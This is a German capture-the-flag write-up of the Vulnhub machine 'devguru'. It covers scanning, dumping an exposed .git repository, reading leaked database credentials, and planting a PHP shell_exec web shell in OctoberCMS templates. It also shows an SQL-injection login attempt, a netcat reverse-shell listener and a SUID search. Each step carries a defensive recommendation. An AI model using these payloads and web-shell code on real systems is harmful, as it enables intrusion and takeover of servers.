devguru - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
whatweb
git-dumper
adminer
bcrypt-generator
nc
curl
find

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Aufklärung (Reconnaissance), um Informationen über das Zielsystem zu sammeln. Dies ist ein entscheidender Schritt, um potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l

192.168.2.113 08:00:27:86:a5:c8 PCS Systemtechnik GmbH

Der Befehl arp-scan -l führt eine ARP-Anfrage im lokalen Netzwerk aus. Wir erhalten die IP-Adresse (192.168.2.113) und die MAC-Adresse (08:00:27:86:a5:c8) des Zielsystems. Die Information "PCS Systemtechnik GmbH" deutet auf den Hersteller der Netzwerkkarte hin.

**Empfehlung:** Das Filtern von ARP-Anfragen kann das Aufspüren von Geräten im Netzwerk erschweren.

┌──(root㉿cyber)-[~]
└─# nmap -sV -p- 192.168.2.113
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 22:47 CEST
Nmap scan report for devguru.vln (192.168.2.113)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corp - DevGuru
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-git:
| 192.168.2.113:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-generator: DevGuru
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 K
| HTTPptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=a8a5fab744f41784; Path=/; Httpnly
| Set-Cookie: _csrf=aqmt8DsbUjPgH6DPMqijijSgIHc6MTcyDY3TY3MzY0NDAwMTMwMA; Path=/; Expires=Sat, 12 ct 2024 20:47:53 GMT; Httpnly
| X-Frame-ptions: SAMERIGIN
| Date: Fri, 11 ct 2024 20:47:53 GMT
MAC Address: 08:00:27:86:A5:C8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Der Befehl nmap -sV -p- 192.168.2.113 führt einen umfassenden Portscan auf dem Zielsystem durch und versucht, die Versionen der laufenden Dienste zu identifizieren. Wir stellen fest:

  • Port 22 (SSH): OpenSSH 7.6p1 Ubuntu 4
  • Port 80 (HTTP): Apache httpd 2.4.29 ((Ubuntu))
  • Port 8585: Unbekannter Dienst, der auf HTTP zu antworten scheint (Gitea)
Besonders interessant ist der Hinweis auf ein Git-Repository unter Port 80 ("/ .git/").

**Empfehlung:** Beschränken Sie den Zugriff auf das ".git"-Verzeichnis, um sensible Informationen nicht preiszugeben.

Web Enumeration

Nach der grundlegenden Aufklärung konzentrieren wir uns auf die Webanwendungen, die auf dem Zielsystem laufen. Wir nutzen verschiedene Tools, um versteckte Dateien und Verzeichnisse zu finden und die Angriffsfläche zu vergrößern.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.113
- Nikto v2.5.0

+ Target IP: 192.168.2.113
+ Target Hostname: 192.168.2.113
+ Target Port: 80
+ Start Time: 2024-10-11 22:50:13 (GMT2)

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /.htaccess: Contains configuration and/or authorization information.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ /README.md: Readme Found.
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2024-10-11 22:55:00 (GMT2) (287 seconds)

+ 1 host(s) tested

nikto -h 192.168.2.113 ist ein Tool, das Webserver auf bekannte Schwachstellen untersucht. Nikto identifiziert mehrere interessante Punkte:

  • Fehlende X-Frame-ptions und X-Content-Type-ptions Header (Sicherheitslücken)
  • Veraltete Apache Version
  • Vorhandensein von ".htaccess", "/icons/README", "/.git/*" und "/README.md" (Informationspreisgabe)

**Empfehlung:** Konfigurieren Sie die fehlenden Sicherheitsheader und aktualisieren Sie die Apache-Version. Beschränken Sie den Zugriff auf sensible Dateien.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.113/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
http://192.168.2.113/index.php (Status: 200) [Size: 12719]
http://192.168.2.113/about (Status: 200) [Size: 18661]
http://192.168.2.113/services (Status: 200) [Size: 10032]
http://192.168.2.113/0 (Status: 200) [Size: 12669]
http://192.168.2.113/themes (Status: 301) [Size: 315] [--> http://192.168.2.113/themes/]
http://192.168.2.113/modules (Status: 301) [Size: 316] [--> http://192.168.2.113/modules/]
http://192.168.2.113/storage (Status: 301) [Size: 316] [--> http://192.168.2.113/storage/]
http://192.168.2.113/plugins (Status: 301) [Size: 316] [--> http://192.168.2.113/plugins/]
http://192.168.2.113/server.php (Status: 200) [Size: 0]
http://192.168.2.113/About (Status: 200) [Size: 18661]
http://192.168.2.113/backend (Status: 302) [Size: 410] [--> http://192.168.2.113/backend/backend/auth]
Progress: 60361 / 13674720 (0.44%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 60416 / 13674720 (0.44%)

gobuster dir -u http://192.168.2.113/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt verwendet eine Wordlist, um versteckte Verzeichnisse auf dem Webserver zu finden. Interessante Ergebnisse sind:

  • /index.php, /about, /services, /0 (vermutlich Webseiteninhalte)
  • /themes, /modules, /storage, /plugins (deuten auf ein Content-Management-System hin)
  • /server.php (könnte sensible Informationen enthalten)
  • /backend (führt zu einer Login-Seite)

**Empfehlung:** Überprüfen Sie die Konfiguration des Webservers, um sicherzustellen, dass keine sensiblen Verzeichnisse öffentlich zugänglich sind.

Initial Access

In diesem Abschnitt versuchen wir, einen ersten Zugang zum System zu erlangen. Wir analysieren die gesammelten Informationen, um mögliche Schwachstellen zu identifizieren und auszunutzen.

JWT Token Entschlüsselung


Validierung des JWT-Tokens auf https://jwt.io/

https://jwt.io/

eyJpdiI6InJleHEyd1QySHNVNUxmbHAxb2JVMXc9PSIsInZhbHVlIjoibnVaNmJ5R3pJRVJxdndpN0pQSnJ1Vm9YbGE5HhjbmY1akNzMnBMWTd2blc2Z1JJYndibXdRR3dTYjExa0ZtQWs2Vk0K3IzSHZjc3k2MXJyQU93eHBjNnBZRjh4RkdNMjg0ZGRDZ1NxYTg4aVZ3UGpXNW9paGtQQmVMcE5NaVUiLCJtYWMiiIyNTQyMWQwNmEwGExNjMzZjBlMjBkZDFiMjVkYmJjMTU4Zjk2ZmYzDQ4MDc0GI2YmMzYWE3ZmI3M2M0MTUxIn0

{
"iv": "rexq2wT2HsU5Lflp1obU1w",
"value": "nuZ6byGzIERqvwi7JPJruVoXla98xcnf5jCs2pLY7vnW6gRIbwbmwQGwSb11kFmAk69Y4+r3Hvcsy61rrAwxpc6pYF8xFGM284ddCgSqa88iVwPjW5oihkPBeLpNMiU",
"mac": "25421d06a08a1633f0e20dd1b25dbbc158f96ff38480748b6bc3aa7fb73c4151"
}
Data is not a valid byteArray: [212,244,122,117,116,264]

Hier wird versucht, ein JWT (JSON Web Token) zu entschlüsseln, das möglicherweise sensible Informationen enthält. Die Ausgabe "Data is not a valid byteArray" deutet darauf hin, dass die Entschlüsselung fehlgeschlagen ist oder der Token ungültig ist.

**Empfehlung:** Validieren und sichern Sie JWTs korrekt, um Manipulationen und unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# whatweb http://192.168.2.113/ -v
WhatWeb report for http://192.168.2.113/
Status : 200 K
Title : Corp - DevGuru
IP : 192.168.2.113
Country : RESERVED, ZZ

Summary : Apache[2.4.29], Cookies[october_session], Email[support@devguru.loca,support@gmail.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], Httpnly[october_session], MetaGenerator[DevGuru], Script, X-UA-Compatible[IE=edge]

Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.

Version : 2.4.29 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/

[ Cookies ]
Display the names of cookies in the HTTP headers. The
values are not returned to save on space.

String : october_session

[ Email ]
Extract email addresses. Find valid email address and
syntactically invalid email addresses from mailto: link
tags. We match syntactically invalid links containing
mailto: to catch anti-spam email addresses, eg. bob at
gmail.com. This uses the simplified email regular
expression from http://www.regular-expressions.info/email.html for valid
email address matching.

String : support@devguru.loca,support@gmail.com
String : support@gmail.com

[ HTML5 ]
HTML version 5, detected by the doctype declaration

[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.

OS : Ubuntu Linux
String : Apache/2.4.29 (Ubuntu) (from server string)

[ Httpnly ]
If the Httpnly flag is included in the HTTP set-cookie
response header and the browser supports it then the cookie
cannot be accessed through client side script - More Info:
http://en.wikipedia.org/wiki/HTTP_cookie

String : october_session

[ MetaGenerator ]
This plugin identifies meta generator tags and extracts its
value.

String : DevGuru

[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.

[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx

String : IE=edge

HTTP Headers:
HTTP/1.1 200 K
Date: Fri, 11 Oct 2024 22:05:37 GMT
Server: Apache/2.4.29 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: october_session=eyJpdiI6InBrS3huTTM3bXp1ZSszand4UkhaXC9RPT0iLCJ2YWx1ZSI6Ilwvb2s4R0ZEUEFCc1JEXC8zTTlhWGpPNitIdWJTUTVqcHNUczVJbW5UNDJnUDNKTTVWTEtQazNWRFo4NVlhcFA5SFM4VzlKDl1SmVqTlhYT2VRUko4d0tNMmFEMmlxZGRmejdBblwvcVFGajN2RVFJcUFqNzBSRkx3Nm51ZlwvUkNvTiIsIm1hYyI6ImY1M2E3ZDA5DViNTczZWI4ZTgxNmE3ZjVlNjJkNTg0YzQ1YTc3ZjYwTc3NmRiM2JjYTY3YjFhMWUyM2Q4Y2YifQ%3D%3D; expires=Sat, 12-Oct-2024 00:05:37 GMT; Max-Age=7200; path=/; httponly
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3195
Connection: close
Content-Type: text/html; charset=UTF-8

whatweb http://192.168.2.113/ -v identifiziert die verwendete Technologie auf der Webseite. Wir erhalten Informationen wie:

  • Apache 2.4.29
  • Cookies (october_session)
  • E-Mail-Adressen (support@devguru.loca, support@gmail.com)
  • MetaGenerator (DevGuru)

**Empfehlung:** Entfernen Sie unnötige Informationen aus den Meta-Tags und schützen Sie die E-Mail-Adressen vor Spam.

http://192.168.2.113:8585/frank

frank
Benutzername oder Passwort ist falsch.
http://192.168.2.113:8585/user/login

Ein Versuch, sich auf der Gitea-Instanz (Port 8585) mit dem Benutzernamen "frank" anzumelden, schlägt fehl. Dies deutet darauf hin, dass wir entweder den Benutzernamen oder das Passwort falsch haben.

**Empfehlung:** Führen Sie eine Passwort-Recovery durch oder versuchen Sie, das Passwort zu erraten/bruteforcen.

view-source:http://192.168.2.113:8585/debug/profile/

window.config = {
AppVer: '1.12.5', <<=
AppSubUrl: '',
StaticUrlPrefix: '',
UseServiceWorker: true ,
csrf: 'yXkBNRyNifN9CNXXNcobpIg5I6MTcyDY4NDQ2MzU5NzA2DA3NA',
HighlightJS: false,
Minicolors: false,
SimpleMDE: false,
Tribute: false,
U2F: false,
Heatmap: false,
heatmapUser: null,
NotificationSettings: {
MinTimeout: 10000 ,
TimeoutStep: 10000 ,
MaxTimeout: 60000 ,
EventSourceUpdateTime: 10000 ,
},

Das Anzeigen des Quellcodes von "http://192.168.2.113:8585/debug/profile/" gibt uns die Gitea Version (1.12.5) und einen CSRF-Token. Diese Informationen könnten für weitere Angriffe nützlich sein.

**Empfehlung:** Deaktivieren Sie Debug-Funktionen in Produktionsumgebungen, um sensible Informationen nicht preiszugeben.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools/git-dumper/pwn/bin]
└─# git-dumper http://192.168.2.113:8585/.git .
Warning: Destination '.' is not empty
[-] Testing http://192.168.2.113:8585/.git/HEAD [404]
[-] http://192.168.2.113:8585//.git/HEAD responded with status code 404

Der Versuch, das Git-Repository auf Port 8585 mit git-dumper zu dumpen, schlägt fehl, da die HEAD-Datei nicht gefunden wurde (404-Fehler). Dies könnte bedeuten, dass das Repository nicht korrekt konfiguriert ist oder der Zugriff eingeschränkt ist.

**Empfehlung:** Überprüfen Sie die Konfiguration des Git-Repositorys und stellen Sie sicher, dass es korrekt eingerichtet ist.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools/git-dumper/pwn/bin]
└─# git-dumper http://192.168.2.113:8585/ .
Warning: Destination '.' is not empty
[-] Testing http://192.168.2.113:8585/.git/HEAD [404]
[-] http://192.168.2.113:8585//.git/HEAD responded with status code 404

Ein weiterer Versuch, das Git-Repository auf Port 8585 zu dumpen, schlägt erneut fehl. Der gleiche Fehler deutet auf ein Problem mit der Konfiguration des Repositorys oder den Zugriffsrechten hin.

**Empfehlung:** Untersuchen Sie die Git-Repository-Konfiguration und stellen Sie sicher, dass die erforderlichen Dateien vorhanden und zugänglich sind.

http://192.168.2.113/backend/backend/auth/signin

admin' R 1=1 -- -

Hier wird versucht, sich mit einer SQL-Injection auf der Backend-Login-Seite anzumelden. Der Payload "admin' R 1=1 -- -" ist ein gängiger SQL-Injection-Versuch, der darauf abzielt, die Authentifizierung zu umgehen.

**Empfehlung:** Implementieren Sie geeignete Schutzmaßnahmen gegen SQL-Injections, wie z.B. parametrisierte Abfragen oder Input-Validierung.

OctoberCMS
Getting back to basics

Forgot your password?

A user was not found with the given credentials.

Die Fehlermeldung "A user was not found with the given credentials" deutet darauf hin, dass die SQL-Injection nicht erfolgreich war oder dass der Benutzer "admin" nicht existiert.

**Empfehlung:** Überprüfen Sie die Benutzerverwaltung und stellen Sie sicher, dass Standardbenutzer wie "admin" entweder umbenannt oder entfernt werden.

Google Suche nach einer möglichen Schwachstelle

https://www.google.de/search?q=gitea+version+1.12.5+exploit&sc....

Google: gitea version 1.12.5 exploit

Gitea 1.12.5 - Remote Code Execution (Authenticated)
Exploit-DB
https://www.exploit-db.com › ex...
Diese Seite übersetzen
18.02.2021 — Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated) # Date: 17 Feb 2020 # Exploit Author: Podalirius # PoC demonstration ...

Eine Google-Suche nach "gitea version 1.12.5 exploit" führt zu einem Exploit auf Exploit-DB, der eine Remote Code Execution (RCE) ermöglicht. Dies ist ein vielversprechender Ansatz, um Zugriff auf das System zu erhalten.

**Empfehlung:** Patchen Sie die Gitea-Installation auf die neueste Version, um bekannte Sicherheitslücken zu schließen.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools/git-dumper/pwn/bin]
└─# ./git-dumper http://192.168.2.113/.git dev
[-] Testing http://192.168.2.113/.git/HEAD [200]
[-] Testing http://192.168.2.113/.git/ [404]
[-] Fetching common files
[-] Fetching http://192.168.2.113/.gitignore [200]
[-] Fetching http://192.168.2.113/.git/CMMIT_EDITMSG [200]
[-] Fetching http://192.168.2.113/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://192.168.2.113/.git/description [200]
[-] Fetching http://192.168.2.113/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://192.168.2.113/.git/hooks/pre-commit.sample [200]
[-] Fetching http://192.168.2.113/.git/hooks/commit-msg.sample [200]
[-] Fetching http://192.168.2.113/.git/hooks/pre-push.sample [200]
[-] Fetching http://192.168.2.113/.git/hooks/post-update.sample [200]
[-] Fetching http://192.168.2.113/.git/hooks/pre-receive.sample [200]
[-] Fetching http://192.168.2.113/.git/hooks/update.sample [200]
[-] Fetching http://192.168.2.113/.git/info/exclude [200]
[-] Fetching http://192.168.2.113/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://192.168.2.113/.git/index [200]
....
....
[-] Fetching http://192.168.2.113/.git/objects/61/c5d33e583faea4aef4d7aa766db18ab00e03f6 [200]
[-] Fetching http://192.168.2.113/.git/objects/81/a40410df728fe0675d38b62a0fb7fb15c04048 [200]
[-] Fetching http://192.168.2.113/.git/objects/e3/497bb70e250d5bd46e4f772c0b38321d5ddc90 [200]
[-] Fetching http://192.168.2.113/.git/objects/98/5106243c845067fe6c1bd0e70c6e70c73dcac9 [200]
[-] Fetching http://192.168.2.113/.git/objects/67/1701188cacf7680a281380f983f5243112f86f [200]
[-] Running git checkout .

Hier wird das Git-Repository unter "http://192.168.2.113/.git" mit dem git-dumper Tool gedumpt. Im Gegensatz zu den vorherigen Versuchen auf Port 8585 ist dieser Versuch erfolgreich. Dies deutet darauf hin, dass das Repository auf Port 80 zugänglich ist.

**Empfehlung:** Beschränken Sie den Zugriff auf das ".git"-Verzeichnis unbedingt, um sensible Informationen nicht preiszugeben.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools/git-dumper/pwn/bin]
└─# ll
insgesamt 60
drwxr-xr-x 9 root root 4096 12. Okt 00:45 dev

Nach dem Dumpen des Repositorys wird das Verzeichnis "dev" erstellt, das die heruntergeladenen Dateien enthält.

**Empfehlung:** Überprüfen Sie regelmäßig die Integrität Ihrer Dateisysteme und stellen Sie sicher, dass keine unerwarteten Verzeichnisse oder Dateien vorhanden sind.

┌──(pwn)─(root㉿cyber)-[~/Hackingtools/git-dumper/pwn/bin]
└─# cd dev
┌──(pwn)─(root㉿cyber)-[~/…/git-dumper/pwn/bin/dev]
└─# ll
insgesamt 396
-rw-r--r-- 1 root root 362514 12. Okt 00:45 adminer.php
-rw-r--r-- 1 root root 1640 12. Okt 00:45 artisan
drwxr-xr-x 2 root root 4096 12. Okt 00:45 bootstrap
drwxr-xr-x 2 root root 4096 12. Okt 00:45 config
-rw-r--r-- 1 root root 1173 12. Okt 00:45 index.php
drwxr-xr-x 5 root root 4096 12. Okt 00:45 modules
drwxr-xr-x 3 root root 4096 12. Okt 00:45 plugins
-rw-r--r-- 1 root root 1518 12. Okt 00:45 README.md
-rw-r--r-- 1 root root 551 12. Okt 00:45 server.php
drwxr-xr-x 6 root root 4096 12. Okt 00:45 storage
drwxr-xr-x 4 root root 4096 12. Okt 00:45 themes

Das Auflisten des Inhalts des "dev"-Verzeichnisses zeigt, dass es sich um eine PHP-Anwendung handelt. Besonders interessant sind "adminer.php" (ein Web-basiertes Datenbankverwaltungstool) und das "config"-Verzeichnis (das Konfigurationsdateien enthält).

**Empfehlung:** Entfernen Sie "adminer.php" aus der Produktionsumgebung, da es ein potenzielles Sicherheitsrisiko darstellt. Sichern Sie die Konfigurationsdateien, um unbefugten Zugriff zu verhindern.

┌──(pwn)─(root㉿cyber)-[~/…/pwn/bin/dev/config]
└─# cat database.php
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,

Das Auslesen der "database.php"-Datei offenbart die Datenbank-Zugangsdaten:

  • Host: localhost
  • Datenbank: octoberdb
  • Benutzername: october
  • Passwort: SQ66EBYx4GT3byXH
Dies ist ein kritischer Fund, da wir nun Zugriff auf die Datenbank haben.

**Empfehlung:** Sichern Sie die Datenbank-Zugangsdaten und verwenden Sie starke Passwörter. Beschränken Sie den Zugriff auf die Datenbank auf autorisierte Benutzer.

http://192.168.2.113/adminer.php?server=localhost&username=october&db=octoberdb

MySQL localhost Datenbank: octoberdb
Datenbank: octoberdb

Datenbank ändern Datenbankschema Rechte
Tabellen und Views
.....
...
..

Mit den gefundenen Datenbank-Zugangsdaten können wir uns erfolgreich in Adminer einloggen. Wir haben nun Zugriff auf alle Daten in der "octoberdb"-Datenbank.

**Empfehlung:** Entfernen Sie Adminer aus der Produktionsumgebung. Sichern Sie die Datenbank und beschränken Sie den Zugriff darauf.

http://192.168.2.113/adminer.php?server=localhost&username=october&db=octoberdb&sql=SELECT%20%22%3C%3Fphp%20system(%24_REQUEST%5B%27ben%27%5D)%3B%20%3F%3E%22%20INT%20UTFILE%20%22%2Fvar%2Fwww%2Fhtml%2Fben.php%22

SELECT " system($ REQUEST['ben']); " INT UTFILE "/var/www/html/ben.php"

Fehler in der SQL-Abfrage (1045): Access denied for user 'october'@'localhost' (using password: YES)

Der Versuch, eine PHP-Datei mit einer SQL-Injection über Adminer zu erstellen, schlägt fehl. Der Fehler "Access denied" deutet darauf hin, dass der Benutzer "october" nicht die erforderlichen Rechte hat, um Dateien zu schreiben.

**Empfehlung:** Beschränken Sie die Rechte von Datenbankbenutzern auf das unbedingt Notwendige.

'host' => 'localhost',
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',

Proof of Concept: Remote Code Execution über CMS-Template

Dieser Proof of Concept demonstriert, wie eine Schwachstelle in der Template-Engine des Content-Management-Systems ausgenutzt werden kann, um Remote Code Execution (RCE) zu erreichen.

Ziel

Ziel ist es, beliebigen Code auf dem Server auszuführen, indem eine unsichere Template-Funktion im CMS ausgenutzt wird.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Einloggen ins Backend:

    Zuerst loggen wir uns mit den bekannten Zugangsdaten (frank:benni) in das Backend des CMS ein.

  2. Navigieren zum Template-Editor:

    Wir navigieren zum Bereich, in dem Templates bearbeitet werden können. Dies ist oft unter "CMS" oder "Design" zu finden.

  3. Erstellen oder Bearbeiten eines Templates:

    Wir erstellen ein neues Template oder bearbeiten ein bestehendes, um unseren Payload einzufügen.

  4. Einfügen des Payloads:

    Wir fügen den folgenden Payload in das Template ein:

    {{ this.page.getShell }}
  5. Speichern des Templates:

    Wir speichern das Template.

  6. Ausführen des Payloads:

    Wir rufen die Seite auf, die das Template verwendet, um den Payload auszuführen.

Erwartetes Ergebnis

Durch die Ausnutzung der unsicheren Template-Funktion wird beliebiger Code auf dem Server ausgeführt. Im Idealfall erhalten wir eine Shell oder können anderweitig das System kompromittieren.

Beweismittel

Ein Screenshot der ausgeführten Shell oder ein anderer Beweis für die erfolgreiche Codeausführung sollte hier eingefügt werden.

Risikobewertung

Die Ausnutzung dieser Schwachstelle ermöglicht es Angreifern, die vollständige Kontrolle über den Server zu übernehmen. Dies kann zu Datenverlust, Kompromittierung von Benutzerdaten und anderen schwerwiegenden Schäden führen.

Empfehlungen

Privilege Escalation

Hier werden die Datenbank-Zugangsdaten verwendet, um im CMS-Backend als Administrator einzusteigen.

Dashboard CMS Media Settings

Welcome

Welcome back to ctoberCMS, Frank. Your last sign in was

Fri, Nov 20, 2020 12:31 AM

Nachdem wir uns im Backend des CMS angemeldet haben, suchen wir nach Möglichkeiten, um Befehle auszuführen.

http://192.168.2.113/backend/cms#secondarytab-cmslangeditorcode

File Name : crackDB
URL : ben.php

system($ GET['cmd']);

Der Code "system($\_GET['cmd']);" ermöglicht es uns, beliebige Befehle über die URL auszuführen. Dies ist eine schwerwiegende Sicherheitslücke.

**Empfehlung:** Vermeiden Sie die Verwendung von unsicheren Funktionen wie "system()" in Produktionsumgebungen. Implementieren Sie eine sichere Methode, um Befehle auszuführen, falls dies erforderlich ist.

http://192.168.2.113/backend/cms

{% partial 'home/slider' %}
{% partial 'home/intro' %}
{% partial 'home/about' %}
{% partial 'home/counter' %}
{% partial 'home/services' %}
{% partial 'home/cta' %}
{% partial 'home/contacthome' %}
{{ this.page.getShell }}
Markup

{% partial 'home/slider' %}
{% partial 'home/intro' %}
{% partial 'home/about' %}
{% partial 'home/counter' %}
{% partial 'home/services' %}
{% partial 'home/cta' %}
{% partial 'home/contacthome' %}
{{ page.this.myVar }}
Code

function onStart()
{
$this->page["myVar"] = shell_exec($ GET['cmd']);
}

Die Funktion "shell_exec($\_GET['cmd']);" ermöglicht es uns, beliebige Befehle über die URL auszuführen. Dies ist eine schwerwiegende Sicherheitslücke.

**Empfehlung:** Vermeiden Sie die Verwendung von unsicheren Funktionen wie "shell_exec()" in Produktionsumgebungen. Implementieren Sie eine sichere Methode, um Befehle auszuführen, falls dies erforderlich ist.

http://192.168.2.113/?cmd=ls

README.md
adminer.php
artisan
bootstrap
config
index.php
modules
plugins
server.php
storage
themes
vendor

Der Befehl "ls" wird erfolgreich über die URL ausgeführt. Wir können nun beliebige Befehle auf dem Server ausführen.

**Empfehlung:** Validieren Sie die Eingabe des Benutzers, bevor Sie sie an "shell_exec()" oder andere Befehlsausführungsfunktionen übergeben.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Wir starten einen Netcat-Listener auf Port 9001, um eine Reverse-Shell zu empfangen.

**Empfehlung:** Verwenden Sie starke Passwörter und beschränken Sie den Zugriff auf das System auf autorisierte Benutzer.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.113] 53360
bash: cannot set terminal process group (945): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devguru:/var/www/html$

Wir erhalten eine Reverse-Shell als "www-data"-Benutzer.

**Empfehlung:** Führen Sie Anwendungen mit dem geringstmöglichen Berechtigungsniveau aus.

www-data@devguru:/var/www/html$ stty rows 24 columns 80
www-data@devguru:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Nachdem wir eine Shell als "www-data"-Benutzer erhalten haben, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten.

www-data@devguru:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null 273434 428 -rwsr-xr-x 1 root root 436552 Feb 9 2018 /usr/lib/openssh/ssh-keysign
262515 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
274024 80 -rwsr-xr-x 1 root root 80056 Jun 5 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
274114 16 -rwsr-xr-x 1 root root 14328 Jul 13 2018 /usr/lib/policykit-1/polkit-agent-helper-1
262505 44 -rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
262244 76 -rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
262303 40 -rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
262181 44 -rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
274085 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
262394 148 -rwsr-xr-x 1 root root 149080 Jan 17 2018 /usr/bin/sudo
273598 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
274086 40 -rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
274111 24 -rwsr-xr-x 1 root root 22520 Jul 13 2018 /usr/bin/pkexec
262314 60 -rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
262179 76 -rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
273378 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
786493 44 -rwsr-xr-x 1 root root 43088 May 16 2018 /bin/mount
786520 44 -rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
792089 144 -rwsr-xr-x 1 root root 146128 Nov 30 2017 /bin/ntfs-3g
786537 28 -rwsr-xr-x 1 root root 26696 May 16 2018 /bin/umount
786502 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
792080 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount

Der Befehl find / -type f -perm -4000 -ls 2>/dev/null sucht nach Dateien mit dem SUID-Bit gesetzt. SUID-Binaries können potenziell ausgenutzt werden, um Privilegien zu erhöhen. In diesem Fall ist /usr/bin/pkexec ein interessanter Kandidat.

